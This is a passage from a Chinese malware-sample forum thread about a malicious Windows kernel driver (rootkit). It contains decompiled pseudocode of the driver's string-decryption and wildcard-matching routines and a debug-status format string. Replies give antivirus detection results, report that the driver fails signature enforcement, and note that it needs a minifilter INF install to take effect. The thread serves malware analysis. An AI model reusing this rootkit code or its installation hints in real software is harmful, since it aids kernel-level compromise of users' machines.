v10[-4] = v8;
v10[-3] = v8;
v10[-2] = v8;
v10[-1] = v8;
}
while ( v12 );
v11 &= 0x7Fu;
}
for ( i = v11 >> 4; i; --i )
*v10++ = v8;
v14 = v11 & 0xF;
if ( v14 )
*(__m128 *)((char *)v10 + v14 - 16) = v8;
}
else
{
v5 = a3 & 0x78;
v6 = (char *)a1 + (a3 & 0xFFFFFFFFFFFFFFF8ui64);
do
{
*(unsigned __int64 *)((char *)&result->m128_u64[-1] + v5) = v4;
v5 -= 8i64;
}
while ( v5 );
v7 = a3 & 7;
if ( v7 )
*(_QWORD *)&v6[v7 - 8] = v4;
}
}
return result;
}

复制代码

__int64 __fastcall sub_140004E18(_BYTE *a1, _BYTE *a2)
{
char *PoolWithTag; // rdi
__int64 v5; // rsi
SIZE_T v6; // rbx
unsigned int v7; // ebx
char P[256]; // [rsp+20h] [rbp-128h] BYREF
PoolWithTag = P;
if ( !a1 || !*a1 || !a2 || !*a2 )
return 0i64;
v5 = -1i64;
v6 = -1i64;
do
++v6;
while ( a1[v6] );
if ( v6 >= 0x100 )
{
v6 += 4i64;
if ( KeGetCurrentIrql() <= 2u )
PoolWithTag = (char *)ExAllocatePoolWithTag(NonPagedPool, v6, 0x4E507331u);
else
PoolWithTag = 0i64;
}
sub_140002E64(a1, PoolWithTag, (unsigned int)v6);
do
++v5;
while ( PoolWithTag[v5] );
v7 = sub_1400052B0(a2, PoolWithTag, v5);
if ( PoolWithTag != P && PoolWithTag && KeGetCurrentIrql() <= 2u )
ExFreePoolWithTag(PoolWithTag, 0);
return v7;
}

复制代码

__int64 __fastcall sub_1400052B0(_BYTE *a1, char *a2, int a3)
{
unsigned int v3; // r9d
__int64 v4; // rax
char *v5; // r10
_BYTE *v6; // rbx
int v7; // ebp
char *v8; // rdi
_BYTE *v9; // rsi
char *i; // r11
int v11; // ecx
int v12; // eax
int v13; // edx
int v14; // ecx
char v16; // dl
char *v17; // rcx
v3 = 0;
LODWORD(v4) = a3;
v5 = a2;
v6 = a1;
v7 = 0;
if ( !a1 || !*a1 || !a2 || !*a2 )
return 0i64;
if ( a3 <= 0 )
{
v4 = -1i64;
do
++v4;
while ( a2[v4] );
}
v8 = &a2[(int)v4];
LABEL_9:
v9 = v6;
for ( i = v5; ; ++i )
{
v11 = (char)*v9;
v12 = *i;
if ( !*v9 )
break;
if ( (_BYTE)v12 == 42 )
{
v5 = i + 1;
v7 = 1;
v6 = v9;
if ( !i[1] || v5 == v8 )
return 1i64;
goto LABEL_9;
}
if ( (_BYTE)v12 == 63 )
{
if ( (_BYTE)v11 == 46 )
goto LABEL_18;
}
else
{
v13 = v12 + 32;
if ( (unsigned int)(v12 - 65) > 0x19 )
v13 = *i;
v14 = v11 + 32;
if ( (unsigned int)((char)*v9 - 65) > 0x19 )
v14 = (char)*v9;
if ( v14 != v13 )
{
LABEL_18:
if ( !v7 )
return 0i64;
++v6;
goto LABEL_9;
}
}
++v9;
}
v16 = *i;
if ( (_BYTE)v12 == 42 )
v16 = i[1];
v17 = i + 1;
if ( (_BYTE)v12 != 42 )
v17 = i;
if ( !v16 || v17 == v8 )
return 1;
return v3;
}

复制代码

显示全部楼层 · 发表于 2025-6-25 19:50:04

本帖最后由飞翔的蒲公英于 2025-6-25 19:59 编辑

安天智甲扫描安全。
安天AI检测：Trojan.Win64.CVE-2013-083[Exploit]

360杀毒扫描安全。360安全卫士不会真的把蓝奏云拉黑了吧，解压后扫描又安全了……

显示全部楼层 · 发表于 2025-6-25 22:06:42

本帖最后由 ANY.LNK 于 2025-6-25 23:06 编辑

顺带，如果这个驱动能加载的话，那真是震惊了（看有效期，没WHQL的签名有效期还是2025年的）

OK，确认了，这东西过不了DSE，至少没法在Win11上运行

再次补充，Win10+black2.jpg.exe加载测试，也没有加载成功

显示全部楼层 · 发表于 2025-6-26 00:21:43

腾讯电脑管家不报

显示全部楼层 · 发表于 2025-6-26 09:10:09

迈克菲扫描 miss

显示全部楼层 · 发表于 2025-6-26 09:46:06

wwwab 发表于 2025-6-25 19:43
这里面有个复杂的字符串解密，sub_140002E64和sub_140004E18，涉及到一个映射表byte_1400BB020，然后byte_1 ...

sprintf_s(
      DstBuf,
      0x1000ui64,
      "PCtx-dup: %d\r\n"
      "PCtx-add:%d\r\n"
      "PCtx-del:%d\r\n"
      "PCtx-errpath:%d\r\n"
      "nofltrep:%d\r\n"
      "CheckFai:%d\r\n"
      "RecurCa:%d\r\n"
      "InjPreFail:%d\r\n"
      "Prepe:%d\r\n"
      "fnprecreaf:%d\r\n"
      "fnprenetcreaf:%d\r\n"
      "fnpostcreaf:%d\r\n"
      "fnloadmod:%d\r\n"
      "fncreateproc:%d\r\n"
      "n32=%I64X\r\n"
      "sss=%d\r\n"
      "lasterr: %s\r\n",
      (unsigned int)dword_1400B8E80,
      dword_1400B8E84,
      dword_1400B8E88,
      dword_1400B8E8C,
      dword_1400B8E90,
      dword_1400B8E94,
      dword_1400B8E98,
      dword_1400B8E9C,
      dword_1400B8EA0,
      dword_1400B8EA4,
      dword_1400B8EA8,
      dword_1400B8EAC,
      dword_1400B8EB0,
      dword_1400B8EB4,
      qword_1400B87C0,
      dword_1400B8E58,
      byte_1400B8EB8);
还有你需要用minifilter 的INF安装才行，否则达不到效果。

[病毒样本] 恶意驱动 MalDriver/RootKit 1X

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

评分

浏览过的版块